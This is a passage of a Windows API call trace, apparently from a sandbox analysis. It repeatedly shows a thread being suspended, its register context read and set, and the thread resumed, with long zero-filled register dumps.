LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0131.516] ResumeThread (hThread=0x130) returned 0x1
[0131.516] CloseHandle (hObject=0x130) returned 1
[0131.516] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0131.559] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0131.603] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0131.603] SuspendThread (hThread=0x130) returned 0x0
[0131.603] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00021edf0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x174ec20, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0131.605] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00021ede8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0131.605] ResumeThread (hThread=0x130) returned 0x1
[0131.605] CloseHandle (hObject=0x130) returned 1
[0131.605] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0131.648] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0131.688] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0131.688] SuspendThread (hThread=0x130) returned 0x0
[0131.688] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00021edf8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1758ffa, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0131.689] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00021edf0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0131.690] ResumeThread (hThread=0x130) returned 0x1
[0131.690] CloseHandle (hObject=0x130) returned 1
[0131.690] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0131.731] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0131.771] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0131.772] SuspendThread (hThread=0x130) returned 0x0
[0131.772] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00021fe48, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x175d800, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, 